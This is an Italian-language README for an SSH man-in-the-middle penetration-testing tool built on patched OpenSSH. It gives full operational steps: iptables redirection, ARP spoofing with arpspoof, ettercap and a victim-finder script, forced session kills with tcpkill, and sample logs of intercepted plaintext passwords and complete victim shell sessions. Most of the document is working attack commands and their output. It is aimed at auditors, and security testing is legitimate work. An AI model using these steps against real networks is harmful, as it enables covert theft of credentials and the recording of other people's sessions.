
Strumento man-in-the-middle SSH
Autore: Joe Testa (@therealjoetesta)
Questo strumento di penetration testing consente a un auditor di intercettare connessioni SSH. Una patch applicata al codice sorgente di OpenSSH v7.5p1 lo fa agire come proxy tra la vittima e il suo server SSH di destinazione; tutte le password in chiaro e le sessioni vengono registrate su disco.
Ovviamente, il client SSH della vittima si lamenterà che la chiave del server è cambiata. Ma poiché nel 99,99999% dei casi ciò è causato da un'azione legittima (reinstallazione del sistema operativo, modifica della configurazione, ecc.), molti/la maggior parte degli utenti ignoreranno l'avviso e proseguiranno.
NOTA: Esegui il sshd_mitm modificato solo in una VM o container! Modifiche ad-hoc sono state apportate al codice sorgente di OpenSSH in regioni critiche, senza riguardo per le implicazioni di sicurezza. Non è difficile immaginare che queste modifiche introducano vulnerabilità gravi.
Il modo più rapido e semplice per iniziare è utilizzare l'immagine Docker con SSH MITM pre-costruito.
1.) Ottieni l'immagine da Dockerhub con:
$ docker pull positronsecurity/ssh-mitm
2.) Successivamente, esegui il container con:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Abilita l'inoltro IP e le rotte NAT sulla macchina host:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Trova i target sulla LAN e falsifica ARP (vedi sotto).
5.) Le sessioni shell e SFTP verranno registrate nella directory ssh_mitm_logs.
Come root, esegui lo script install.sh. Questo installerà i prerequisiti dai repository, scaricherà l'archivio di OpenSSH, ne verificherà la firma, lo compilerà e inizializzerà un ambiente non privilegiato in cui eseguirlo.
Lo script JoesAwesomeSSHMITMVictimFinder.py rende molto facile trovare target su una LAN. Falsificherà ARP su un blocco di IP e fiuterà il traffico SSH per un breve periodo prima di passare al blocco successivo. Vengono segnalate tutte le connessioni SSH attive provenienti da dispositivi sulla LAN.
Per impostazione predefinita, JoesAwesomeSSHMITMVictimFinder.py falsificherà ARP e fiuterà solo 5 IP alla volta per 20 secondi prima di passare al blocco successivo di 5. Questi parametri possono essere regolati, anche se esiste un compromesso: più IP vengono falsificati contemporaneamente, maggiore è la possibilità di intercettare una connessione SSH attiva, ma anche maggiore è lo stress sulla tua misera scheda di rete. Sotto un carico troppo elevato, la tua interfaccia inizierà a perdere frame, causando un denial-of-service e sollevando forti sospetti (questo è negativo). I valori predefiniti non dovrebbero causare problemi nella maggior parte dei casi, anche se ci vorrà più tempo per trovare i target. La dimensione del blocco può essere aumentata in modo sicuro su reti a bassa utilizzazione.
Esempio:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
L'output sopra mostra che due dispositivi sulla LAN hanno creato connessioni SSH (10.11.12.43 e 10.11.12.70); questi possono essere presi di mira per un attacco man-in-the-middle. Nota, tuttavia, che per intercettare potenzialmente le credenziali, dovrai attendere che avviino nuove connessioni. I pentester impazienti possono scegliere di chiudere forzatamente le sessioni SSH esistenti (usando lo strumento tcpkill), spingendo i client a crearne immediatamente di nuove...
1.) Una volta completata la configurazione iniziale e trovata una lista di potenziali vittime (vedi sopra), esegui start.sh come root. Questo avvierà sshd_mitm, abiliterà l'inoltro IP e configurerà l'intercettazione dei pacchetti SSH tramite iptables.
2.) Falsifica ARP del/dei target (Consiglio: NON falsificare tutto! La tua misera scheda di rete probabilmente non sarà in grado di gestire tutto il traffico di un'intera rete contemporaneamente. Falsifica solo un paio di IP alla volta):
arpspoof -r -t 192.168.x.1 192.168.x.5
In alternativa, puoi usare lo strumento ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Monitora auth.log. Le password intercettate appariranno qui:
sudo tail -f /var/log/auth.log
4.) Una volta stabilita una sessione, un log completo di tutti gli input e output può essere trovato in /home/ssh-mitm/. Le sessioni SSH vengono registrate come shell_session_*.txt, e le sessioni SFTP come sftp_session_*.html (con i file trasferiti memorizzati in una directory corrispondente).
In caso di successo, /var/log/auth.log conterrà righe che registrano la password, come questa:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Inoltre, l'intera sessione SSH della vittima viene registrata:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan